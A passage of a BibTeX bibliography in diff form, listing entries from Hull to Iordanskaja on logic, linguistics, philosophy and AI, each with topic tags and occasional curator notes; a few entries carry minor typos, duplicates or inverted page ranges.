Semantics of Natural Language}, + publisher = {Cambridge University Press}, + year = {1975}, + editor = {Edward L. Keenan}, + pages = {35--45}, + address = {Cambridge, England}, + missinginfo = {A's 1st name}, + topic = {interrogatives;} + } + +@incollection{ hull:1987a, + author = {Richard Hull}, + title = {A Survey of Theoretical Resarch on Typed Complex + Database Objects}, + booktitle = {Databases}, + publisher = {Academic Press}, + year = {1987}, + editor = {J. Paradaens}, + pages = {193--256}, + address = {New York}, + topic = {databases;} + } + +@incollection{ hulser:1979a, + author = {Karlheinz H\"ulser}, + title = {Expression and Content in {S}toic Linguistic Theory}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {284--303}, + topic = {Stoic-philosophy;} + } + +@inproceedings{ hulstijn:1999a, + author = {Joris Hulstijn}, + title = {Modeling Usability: Development Methods for + Dialogue Systems}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue Systems}, + year = {1999}, + editor = {Jan Alexandersson}, + pages = {49--56}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {computational-dialogue;} + } + +@article{ humberstone:1971a, + author = {I. L. Humberstone}, + title = {Two Sorts of `Ought's}, + journal = {Analysis}, + volume = {32}, + year = {1971}, + pages = {8--11}, + topic = {obligation;deontic-logic;} + } + +@article{ humberstone:1979a, + author = {Lloyd Humberstone}, + title = {Interval Semantics for Tense Logic}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {2}, + pages = {171--196}, + topic = {temporal-logic;interval-logic;} + } + +@article{ humberstone:1980a, + author = {Martin Davies and Lloyd Humberstone}, + title = {Two Notions of Necessity}, + journal = {Philosophical Studies}, + year = {1980}, + volume = {38}, + pages = {1--30}, + topic = {necessary-truth;} +} + +@article{ humberstone:1981a, + author = {Lloyd Humberstone}, + title = {From Worlds to Possibilities}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {2}, + pages = {313--339}, + contentnote = {The idea is to see what might stand to worlds in + modal logic as intervals stand to moments in tense logic.}, + topic = {modal-logic;possibility;} + } + +@article{ humberstone:1986a, + author = {Lloyd Humberstone}, + title = {Extensionality in Sentence Position}, + journal = {Journal of Philosophical Logic}, + year = {1986}, + volume = {15}, + number = {1}, + pages = {27--54}, + note = {A correction appears in \cite{humberstone:1988a}.}, + topic = {intensionality;intensional-logic;} + } + +@article{ humberstone:1988a, + author = {Lloyd Humberstone}, + title = {The Lattice of Extensional Connectives: A Correction}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {3}, + pages = {221--223}, + note = {A correction to \cite{humberstone:1986a}.}, + topic = {intensionality;intensional-logic;} + } + +@article{ humberstone:1993a, + author = {Lloyd Humberstone}, + title = {Functional Dependencies, Supervenience, and Consequence + Relations}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {2}, + number = {4}, + pages = {309--336}, + topic = {logical-consequence;} + } + +@article{ humberstone:1996a, + author = {Lloyd Humberstone}, + title = {Valuational Semantics of Rule Derivability}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {5}, + pages = {451--461}, + topic = {semantics-of-inference-rules;} + } + +@incollection{ humberstone:1996b, + author = {Lloyd Humberstone}, + title = {Homophony, Validity, Modality}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + address = {Oxford}, + pages = {215--236}, + topic = {modal-logic;truth-definitions;} + } + +@article{ humberstone:1996c, + author = {Lloyd Humberstone}, + title = {Intrinsic/Extrinsic}, + journal = {Synth\'ese}, + year = {1990}, + volume = {108}, + pages = {205--267}, + topic = {internal/external-properties;} + } + +@article{ humberstone:1997a, + author = {I.L. Humberstone}, + title = {Singulary Extensional Connectives: A Closer Look}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {3}, + pages = {341--356}, + topic = {algebraic-logic;modal-logic;} + } + +@article{ humberstone-williamson:1997a, + author = {Lloyd Humberstone and Timothy Williamson}, + title = {Inverses for Normal Modal Operators}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {1}, + pages = {33--64}, + topic = {modal-logic;} + } + +@article{ humberstone:1999a, + author = {LLoyd Humberstone}, + title = {Review of {\it Negation: A Notion in Focus}, + edited by {H}einrich {W}ansing}, + journal = {Studia Logica}, + year = {1999}, + volume = {63}, + number = {2}, + pages = {283--296}, + xref = {Review of: wansing:1996a.}, + topic = {negation;} + } + +@article{ humberstone:2000a, + author = {Lloyd Humberstone}, + title = {The Revival of Rejective Negation}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {4}, + pages = {331--381}, + topic = {negation;assertion;} + } + +@article{ humberstone:2001a, + author = {Lloyd Humberstone}, + title = {The Pleasures of Anticipation: Enriching Intuitionistic + Logic}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {5}, + pages = {395--438}, + topic = {intuitionistic-logic;} + } + +@unpublished{ hume_b:1993a, + author = {Beth Hume}, + title = {Nonlinear Phonology}, + year = {1993}, + note = {Course Packet for 1993 Linguistic Institute}, + topic = {nonlinear-phonology;} + } + +@article{ humphrey_n:1997a, + author = {Nicholas Humphrey}, + title = {Review of {\em Kinds of Minds: Toward an Understanding + of Consciousness}, by {D}aniel {C}. {D}ennett}, + journal = {The Journal of Philosophy}, + year = {1997}, + volume = {94}, + number = {2}, + pages = {97}, + topic = {consciousness;} + } + +@book{ humphrey_ws:1990a, + author = {Watts S. Humphrey}, + title = {Managing the Software Process}, + publisher = {Addison-Wesley}, + year = {1990}, + address = {Reading, Massachusetts}, + ISBN = {0201180952}, + topic = {software-engineering;} + } + +@article{ humphreys_l:1993a, + author = {Lee Humphreys}, + title = {Book Review: The Linguistics of Punctuation}, + journal = {Machine Translation}, + year = {1993}, + volume = {7}, + pages = {199--201}, + topic = {punctuation;} +} + +@phdthesis{ humphreys_p:1989a, + author = {Paul Humpreys}, + title = {The Chances of Explanation}, + school = {Philosophy Department, Princeton University}, + year = {1989}, + type = {Ph.{D}. Dissertation}, + address = {Princeton, New Jersey}, + contentnote = {Evidently, there is a def of causality here in terms + of linear regression models. See glennan:1997a.}, + topic = {causality;explanation;} + } + +@book{ humphreys_p-fetzer:1998a, + editor = {Paul Humphreys and James H. Fetzer}, + title = {The New Theory of Reference: {K}ripke, {M}arcus, and + Its Origins}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + address = {Dordrecht}, + ISBN = {0-7923-4898-2}, + topic = {reference;modal-logic;philosophy-of-language;} + } + +@article{ humphreys_p:2000a, + author = {Paul Humphreys}, + title = {Review of {\it Causality and Explanation}, by {W}esley + {S}almon}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {9}, + pages = {523--527}, + xref = {Review of salmon_wc:1999a.}, + topic = {causality;explanation;} + } + +@article{ hungerland:1960a, + author = {I.C. Hungerland}, + title = {Contextual Implication}, + journal = {Inquiry}, + year = {1960}, + volume = {3}, + pages = {211--258}, + missinginfo = {A's 1st name, number}, + topic = {implicature;context;} + } + +@book{ hunston-francis:2000a, + author = {Susan Hunston and Gill Francis}, + title = {Pattern Grammar: A Corpus-Driven Approach to the + Lexical Grammar of {E}nglish}, + publisher = {John Benjamins}, + year = {2000}, + address = {Amsterdam}, + ISBN = {90-272-2273-8}, + xref = {Review: johnson_c:2001a.}, + topic = {descriptive-grammar;corpus-linguistics;} + } + +@book{ hunt_eb:1975a, + author = {Earl B. Hunt}, + title = {Artificial intelligence}, + publisher = {Academic Press}, + year = {1975}, + address = {New York}, + xref = {Review: shapiro_sc:1976a.}, + topic = {AI-intro;} + } + +@incollection{ hunter_a:1994a, + author = {Anthony Hunter}, + title = {Defeasible Reasoning with Structured Information}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {281--262}, + address = {San Francisco, California}, + topic = {kr;labelled-deductive-systems;nonmonotonic-logic;kr-course;} + } + +@incollection{ hunter_a:1998a, + author = {Anthony Hunter}, + title = {Paraconsistent Logics}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 2: Reasoning with + Actual and Potential Contradictions}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {11--36}, + address = {Dordrecht}, + topic = {paraconsistency;} + } + +@article{ hunter_jfm:1968a, + author = {J.F.M. Hunter}, + title = {Aune and Others on Ifs and Cans}, + journal = {Analysis}, + year = {1968}, + volume = {28}, + pages = {107--112}, + missinginfo = {A's 1st name, number}, + topic = {ability;conditionals;JL-Austin;} + } + +@inproceedings{ hunter_l:1983a, + author = {Lynne Hunter}, + title = {On Misapplying the Maxims: A {G}ricean Look at Wit}, + booktitle = {Proceedings of the Nineteenth Regional Meeting of the + Chicago Linguistics Society}, + year = {1983}, + pages = {197--204}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + missinginfo = {editor}, + topic = {implicature;pragmatics;Grice;} + } + +@article{ huntley:1984a, + author = {Martin Huntley}, + title = {The Semantics of {E}nglish Imperatives}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {2}, + pages = {103--133}, + topic = {imperatives;nl-semantics;} + } + +@incollection{ hurewitz:1997a, + author = {Felicia Hurewitz}, + title = {A Quantitative Look at Discourse Coherence"}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {273--291}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics; + discourse-coherence;centering;} + } + +@article{ husbands:2001a, + author = {Phil Husbands}, + title = {Review of {\it The {MIT} Encyclopedia of the Cognitive + Sciences,} edited by {R}obert {A}. {W}ilson and {F}rank {C}. {K}eil}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {130}, + number = {2}, + pages = {191--194}, + xref = {Review of: wilson_ra-keil:1999a.}, + topic = {cognitive-science-general;cognitive-science-survey;} + } + +@incollection{ hustadt:1995a, + author = {Ullrich Hustadt}, + title = {Introducing Epistemic Operators into A Description Logic}, + booktitle = {Knowledge and Belief in Philosophy and Artificial + Intelligence}, + publisher = {Akedemie Verlag}, + year = {1995}, + editor = {Armin Laux and Heinrich Wansing}, + pages = {65--86}, + address = {Berlin}, + topic = {epistemic-logic;reasoning-about-knowledge;taxonomic-logics; + kr-course;} + } + +@article{ hustadt:2001a, + author = {Ullrich Hustadt}, + title = {Review of {\it Temporal Logic: Mathematical Foundations + and Computational Aspects, Volume 2}, by {D}ov {M}. + Gabbay and {M}ark {A}. {R}eynolds and {M}arcelo {F}inger}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {3}, + pages = {406--410}, + xref = {Review of gabbay-etal:2000a.}, + topic = {temporal-logic;} + } + +@incollection{ hustadt-schmidt:2002a, + author = {Ullrich Hustadt and Renate A. Schmidt}, + title = {Scientific Benchmarking with Temporal Logic Decision + Procedures}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {533--544}, + address = {San Francisco, California}, + topic = {kr;temporal-logic;} + } + +@incollection{ hutchens-alder:1998a, + author = {Jason L. Hutchens and Michael D. Alder}, + title = {Finding Structure Via Compression}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Natural Language + Learning: {NeMLaP3/CoNLL98}}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {David M.W. Powers}, + pages = {79--82}, + address = {Somerset, New Jersey}, + topic = {statistical-nlp;word-sequence-probabilities;machine-learning;} + } + +@book{ hutcheon:1995a, + author = {Linda Hutcheon}, + title = {Irony's Edge: The Theory and Politics of Irony}, + publisher = {Routledge}, + year = {1995}, + address = {London}, + topic = {irony;literary-=criticism;} + } + +@incollection{ hutchins_e:1991a, + author = {Edwin Hutchins}, + title = {The Social Organization of Distributed Cognition}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {283--207}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@book{ hutchins_wj-somers:1992a, + author = {W. John Hutchins and Harold L. Somers}, + title = {An Introduction to Machine Translation}, + publisher = {Academic Press}, + year = {1992}, + address = {New York}, + ISBN = {0-123-62830-X}, + topic = {machine-translation;nlp-intro;} + } + +@incollection{ hutchinson:1974a, + author = {Larry Hutchinson}, + title = {Grammar as Theory}, + booktitle = {Explaining Linguistic Phenomena}, + publisher = {Hemisphere Publishing Corp.}, + year = {1974}, + editor = {David Cohen}, + pages = {43--73}, + address = {Washington, DC}, + topic = {philosophy-of-linguistics;psychological-reality;} + } + +@book{ hutchinson:1994a, + author = {Alan Hutchinson}, + title = {Algorithmic Learning}, + publisher = {Oxford University Press}, + year = {1994}, + address = {Oxford}, + ISBN = {0198538480 (pbk.)}, + topic = {machine-learning;} + } + +@book{ hutchinson_a:1994a, + author = {Alan Hutchinson}, + title = {Algorithmic Learning}, + publisher = {Oxford University Press}, + year = {1994}, + address = {Oxford}, + ISBN = {0198538480 (pbk)}, + topic = {machine-learning;} + } + +@book{ huth-ryan:2000a, + author = {Michael R.A. Huth and Mark D. Ryan}, + title = {Logic in Computer Science: Modelling and Reasoning about + Systems}, + publisher = {Cambridge University Press}, + year = {2000}, + address = {Cambridge, England}, + contentnote = {TC: + 1. Propositional logic + 2. Predicate logic + 3. Verification by model checking + 4. Program verification + 5. Modal logics and agents + 6. Binary decision diagrams + } , + ISBN = {Hardback: ISBN 0521652006, Paperback: ISBN 0521656028.}, + contentnote = {"The book is intended as an undergraduate text book + in logic applications in computer science."}, + topic = {logic-in-CS;logic-in-CS-intro;} + } + +@article{ huttemann:1998a, + author = {Andreas H\"uttemann}, + title = {Laws and Dispositions}, + journal = {Philosophy of Science}, + year = {1998}, + volume = {65}, + number = {1}, + pages = {121--135}, + topic = {dispositions;philosophy-of-physics;conditionals;} + } + +@incollection{ hwang_ch-schubert:1993a, + author = {Chung Hee Hwang and Lenhart Schubert}, + title = {Episodic Logic: A Situational Logic for Natural Language + Processing}, + booktitle = {Situation Theory and its Applications}, + publisher = {Center for the Study of Language and Information}, + year = {1993}, + editor = {Stanley Peters and David J. Israel and Peter Aczel and + Yasuhiro Katagiri}, + address = {Stanford, California}, + missinginfo = {pages}, + topic = {events;nl-semantics;event-semantics;} + } + +@book{ hwang_sjj-merrifield:1992a, + editor = {Shin Ja J. Hwang and William R. Merrifield}, + title = {Language in Context: {E}ssays for {R}obert {E}. {L}ongacre}, + publisher = {Summer Institute of Linguistics}, + year = {1992}, + address = {Dallas}, + ISBN = {0883121832}, + topic = {discourse-analysis;} + } + +@article{ hyde:1994a, + author = {Dominic Hyde}, + title = {Why Higher-Order Vagueness is a Pseudo-Problem}, + journal = {Mind}, + year = {1994}, + volume = {103}, + number = {409}, + pages = {35--41}, + topic = {vagueness;} + } + +@article{ hyde:1997a, + author = {Dominic Hyde}, + title = {From Heaps and Gaps to Heaps of Gluts}, + journal = {Mind}, + year = {1997}, + volume = {106}, + number = {424}, + pages = {641--660}, + topic = {vagueness;sorites-paradox;} + } + +@article{ hyde:2001a, + author = {Dominic Hyde}, + title = {Review of {\it Vagueness: A Reader}, edited by + {R}osanna {K}eefe and {P}eter {S}mith}, + journal = {Studia Logica}, + year = {2001}, + volume = {67}, + number = {1}, + pages = {120--122}, + xref = {Review of keefe-smith_p:1997a.}, + topic = {vagueness;} + } + +@book{ hyde:2002a, + author = {Dominic Hyde}, + title = {Being Coherently Vague}, + publisher = {Ashgate Publishing Co.}, + year = {2002}, + address = {Brookfield, Vermont}, + ISBN = {0 7546 1532 4}, + topic = {vagueness;} + } + +@book{ hylton:1990a, + author = {Peter Hylton}, + title = {Russell, Idealism, and tbe Emergence of Analytic Philosophy}, + publisher = {Oxford University Press}, + year = {1990}, + address = {Oxford}, + topic = {Russell;analytic-philosophy;history-of-logic; + history-of-philosophy;} + } + +@book{ hymes:1974a, + author = {Dale Hymes}, + title = {Foundations in Sociolinguistics: An Ethnographic Approach}, + publisher = {University of Pennsylvania Press}, + year = {1974}, + address = {Philadelphia}, + topic = {sociolinguistics;pragmatics;} + } + +@article{ hyttinen-sandu:2000a, + author = {Tapani Hyttinen and Gabriel Sandu}, + title = {Henkin Quantifiers and the Definability of Truth}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {5}, + pages = {507--527}, + topic = {game-theoretic-semantics;branching-quantifiers;} + } + +@article{ iatridou:1993a, + author = {Sabine Iatridou}, + title = {On the Contribution of Conditional {\it Then\/}}, + journal = {Natural Language Semantics}, + year = {1993--1994}, + volume = {2}, + number = {3}, + pages = {171--199}, + topic = {nl-semantics;conditionals;} + } + +@article{ iatridou:1994a, + author = {Sabine Iatridou}, + title = {On the Contribution of Conditional `Then'}, + journal = {Natural Language Semantics}, + year = {1994}, + volume = {2}, + number = {3}, + pages = {171--199}, + topic = {conditionals;nl-semantics;} + } + +@article{ iatridou-varlokosta:1997a, + author = {Sabine Iatridou and Spyridoula Varlokosta}, + title = {Pseudoclefts Crosslinguistically}, + journal = {Natural Language Semantics}, + year = {1997}, + volume = {6}, + number = {1}, + pages = {3--28}, + topic = {cleft-constructions;universal-grammar;} + } + +@article{ iatridou:2000a, + author = {Sabine Iatridou}, + title = {The Grammatical Ingredients of Counterfactuality}, + journal = {Linguistic Inquiry}, + year = {2000}, + volume = {31}, + number = {2}, + pages = {231--270}, + topic = {conditionals;nl-syntax;nl-mood;} + } + +@article{ ibaraki:1986a, + author = {Toshihide Ibaraki}, + title = {Generalization of Alpha-Beta and {SSS}* Search + Procedures}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {29}, + number = {1}, + pages = {73--117}, + topic = {search;} + } + +@article{ ibaraki-etal:1999a, + author = {Toshihide Ibaraki and Alexander Kogan and Kazuhisa + Makino}, + title = {Functional Dependencies in {H}orn Theories}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {108}, + number = {1--2}, + pages = {1--30}, + topic = {Horn-theories;functional-dependencies;} + } + +@article{ ibaraki-etal:2001a, + author = {Toshihide Ibaraki and Alexander Kogan and Kazuhisa + Makino}, + title = {On Functional Dependencies in Q-Horn Theories}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {131}, + number = {1--2}, + pages = {171--187}, + topic = {Horn-theories;complexity-in-AI;} + } + +@article{ ibens:2002a, + author = {Ostrun Ibens}, + title = {Connection Tableau Calculi with Disjunctive Constraints}, + journal = {Studia Logica}, + year = {2002}, + volume = {70}, + number = {2}, + pages = {241--270}, + topic = {semantic-tableaux;theorem-proving;} + } + +@incollection{ ichikawa-etal:1999a, + author = {A. Ichikawa and M. Araki amd Y. Horiuchi and M. Ishizaki + and S. Itabashi and T. Itoh and H. Kashioka and + K. Kato and H. Kikuchi and H. Koiso and T. Kumagai + and A. Kurematsu and K. Maekawa and S. Nakazato and + M. Tamoto and S. Tutiya and Y. Yamashita and + T. Yoshimura}, + title = {Evaluation of Annotation Schemes for + {J}apanese Discourse}, + booktitle = {Towards Standards and Tools for Discourse Tagging: + Proceedings of the Workshop}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Marilyn Walker}, + pages = {26--34}, + address = {Somerset, New Jersey}, + topic = {discourse-tagging;corpus-linguistics;Japanese-language;} + } + +@incollection{ ide-etal:1994a, + author = {Nancy Ide and Jacques Le Maitre and Jean V\'eronis}, + title = {Outline of a Model for Lexical Databases}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {283--320}, + address = {Pisa and Dordrecht}, + topic = {computational-lexicography;} + } + +@article{ ide:1998a, + author = {Nancy Ide}, + title = {Review of {\it Text Databases: One Database Model + and Several Retrieval Languages}, by {C}rist-{J}an {D}oedens}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {2}, + pages = {319--321}, + topic = {textual-databases;} + } + +@article{ ide-veronis:1998a, + author = {Nancy Ide and Jean Veronis}, + title = {Introduction to the Special Issue on Word Sense + Disambiguation: The State of the Art}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {1}, + pages = {1--40}, + topic = {lexical-disambiguation;} + } + +@article{ iemhoff:2001a, + author = {Rosalie Iemhoff}, + title = {On the Admissible Rules of Intuitionistic Propositional + Logic}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {1}, + pages = {281--294}, + topic = {intuitionistic-logic;admissible-rules;} + } + +@article{ iemhoff:2002a, + author = {Rosalie Iemhoff}, + title = {Review of {\it Submodels of {K}ripke Models}, by {A}lbert + {V}isser}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {3}, + pages = {440--441}, + xref = {Review of: visser:2001a}, + topic = {model-theory;intuitionistic-mathematics;} + } + +@article{ ihrig:1965a, + author = {A.H. Ihrig}, + title = {Remarks on Logical Necessity and Future Contingencies}, + journal = {Mind}, + year = {1965}, + volume = {75}, + pages = {215--228}, + acontentnote = {Abstract: + The author states that the purpose of his paper is to examine + the problems involved in the question: does the logical + necessity of $p \vee \mboox{Not}p$ imply that future events are + necessary? Since the question seems to be derived, at least + partially, from Chapter 9 of Aristotle's "De Interpretatione", + he also examines how or when these problems appear in + Aristotle's discussion and what his attitude seems to have been + toward them. The first part of the paper is devoted to the + general problems with occasional reference to Aristotle and the + last part more specifically looks at some of Aristotle's ideas + in the light of the previous discussion. + } , + topic = {Aristotle;future-contingent-propositions;} + } + +@article{ iida_h-etal:2002a, + author = {Hioryuki Iida and Makoto Sakuta and Jeff Rollason}, + title = {Computer Shogi}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {134}, + number = {1--2}, + pages = {121--144}, + topic = {computer-games;search;} + } + +@incollection{ iida_m:1997a, + author = {Masayo Iida}, + title = {Discourse Coherence and Shifting Centers in + {J}apanese Texts}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {161--180}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics;Japanese-language; + centering;} + } + +@article{ ikeuchi-horn:1981a, + author = {Katsushi Ikeuchi and Berthold K.P. Horn}, + title = {Numerical Shape from Shading and Occluding Boundaries}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {17}, + number = {1--3}, + pages = {141--184}, + acontentnote = {Abstract: + An iterative method for computing shape from shading using + occluding boundary information is proposed. Some applications of + this method are shown. + We employ the stereographic plane to express the orientations + of surface patches, rather than the more commonly used gradient + space. Use of the stereographic plane makes it possible to + incorporate occluding boundary information, but forces us to + employ a smoothness constraint different from the one previously + proposed. The new constraint follows directly from a particular + definition of surface smoothness. + We solve the set of equations arising from the smoothness + constraints and the image-irradiance equation iteratively, using + occluding boundary information to supply boundary conditions. + Good initial values are found at certain points to help reduce + the number of iterations required to reach a reasonable + solution. Numerical experiments show that the method is + effective and robust. Finally, we analyze scanning electron + microscope (SEM) pictures using this method. Other applications + are also proposed.}, + topic = {shape-recognition;} + } + +@article{ ikeuchi:1984a, + author = {Katsushi Ikeuchi}, + title = {Shape from Regular Patterns}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {22}, + number = {1}, + pages = {49--75}, + topic = {shape-recognition;computer-vision;} + } + +@article{ ikeuchi:1993a, + author = {Katsushi Ikeuchi}, + title = {Comment on `Numerical Shape from Shading and + Occluding Boundaries'}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {89--94}, + topic = {computer-vision;} + } + +@incollection{ imai-tanaka:1998a, + author = {Hiroki Imai and Hozumi Tanaka}, + title = {A Method of Incorporating Bigram Constraints into an {LR} + Table and its Effectiveness in Natural Language + Processing}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {225--233}, + address = {Somerset, New Jersey}, + topic = {n-gram-models;} + } + +@article{ imielinski:1987a, + author = {Tomasz Imielinski}, + title = {Results on Translating Defaults to Circumscription}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {32}, + number = {1}, + pages = {131--146}, + topic = {nonmonotonic-logic;default-logic;circumscription;} + } + +@book{ ince:1992a, + editor = {A. Nejat Ince}, + title = {Digital Speech Processing: Speech Coding, + Synthesis, and Recognition}, + publisher = {Kluwer Academic Publishers}, + year = {1992}, + address = {Dordrecht}, + topic = {speech-recognition;speech-generation;} + } + +@incollection{ ingria-george_l:1993a, + author = {Robert Ingria and Leland George}, + title = {Adjectives, Nominals and the Status of Arguments}, + booktitle = {Semantics and the Lexicon}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {James Pustejovsky}, + pages = {107--125}, + address = {Dordrecht}, + topic = {argument-structure;computational-lexical-semantics;} + } + +@book{ ingve:1996a, + author = {Victor Ingve}, + title = {From Grammar to Science: New Foundations for General + Linguistics}, + publisher = {John Benjamins Publishing Co.}, + year = {1996}, + address = {Amsterdam}, + xref = {Review: sampson:1998a.}, + topic = {empirical-methods-in-cogsci;foundations-of-linguistics; + philosophy-of-linguistics;} + } + +@article{ inoue_k1:1979a, + author = {K. Inoue}, + title = {An Analysis of the {E}nglish Present Perfect}, + journal = {Language}, + year = {1979}, + volume = {17}, + pages = {561--590}, + missinginfo = {number}, + contentnote = {This may be the original reference for the point + about "present relevance" of English perfective + aspect. "I have lost my watch. #But I have found it." + See steedman:1998a, p. 5.}, + topic = {tense-aspect;perfective-aspect;} + } + +@article{ inoue_k2:1992a, + author = {Katsumi Inoue}, + title = {Linear Resolution for Consequence Finding}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {56}, + number = {2--3}, + pages = {301--353}, + acontentnote = {Abstract: + In this paper, we re-evaluate the consequence finding problem + within first-order logic. Firstly, consequence finding is + generalized to the problem in which only interesting clauses + having a certain property (called characteristic clauses) should + be found. The use of characteristic clauses enables + characterization of various reasoning problems of interest to + AI, including abduction, nonmonotonic reasoning, prime + implicates and truth maintenance systems. Secondly, an extension + of the Model Elimination theorem proving procedure + (SOL-resolution) is presented, providing an effective mechanism + complete for finding the characteristic clauses. An important + feature of SOL-resolution is that it constructs such a subset of + consequences directly without testing each generated clause for + the required property. We also discuss efficient but incomplete + variations of SOL-resolution and their properties, which address + finding the most specific and the least specific abductive + explanations. } , + topic = {theorem-proving;resolution;nonmonotonic-reasoning; + truth-maintenance;} + } + +@inproceedings{ inoue_k2-sakama:1995a, + author = {Katsumi Inoue and Chiaki Sakama}, + title = {Abductive Framework for Theory Change}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {204--210}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {abduction;belief-revision;} + } + +@incollection{ inoue_k2-sakama:1998a, + author = {Katsumi Inoue and Chiaki Sakama}, + title = {Specifying Transactions for Extended Abduction}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {394--405}, + address = {San Francisco, California}, + topic = {kr;abduction;kr-course;} + } + +@incollection{ inoue_k3-sakama:1994a, + author = {Kausumo Inoue and Chiaki Sakama}, + title = {On Positive Occurrences of Negation as Failure}, + booktitle = {{KR}'94: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {293--304}, + address = {San Francisco, California}, + topic = {kr;negation-as-failure;kr-course;} + } + +@article{ inza-etal:2000a, + author = {I. Inza and P. Larra\~naga and R. Etxeberria and B. Sierra}, + title = {Feature Subset Selection by {B}ayesian Network-Based + Optimization}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {123}, + number = {1--2}, + pages = {157--184}, + topic = {Bayesian-networks;} + } + +@inproceedings{ iocchi-etal:2000a, + author = {Luca Iocchi and Daniele Nardi and Riccardo Rosati}, + title = {Planning with Sensing, Concurrency, and Exogenous + Events: Logical Framework and Implementation}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {678--689}, + topic = {planning-formalisms;sensing-actions;model-construction;} + } + +@incollection{ iordanskaja-etal:1991a, + author = {L. Iordanskaja and R. Kittredge and A. Polgu\'ere}, + title = {Lexical Selection and Paraphrase in a Meaning-Text + Generation Model}, + booktitle = {Natural Language Generation in Artificial Intelligence and + Computational Linguistics}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {C\'{e}cile L. Paris and William R. Swartout + and William C. Mann}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {nl-generation;lexical-selection;} + } 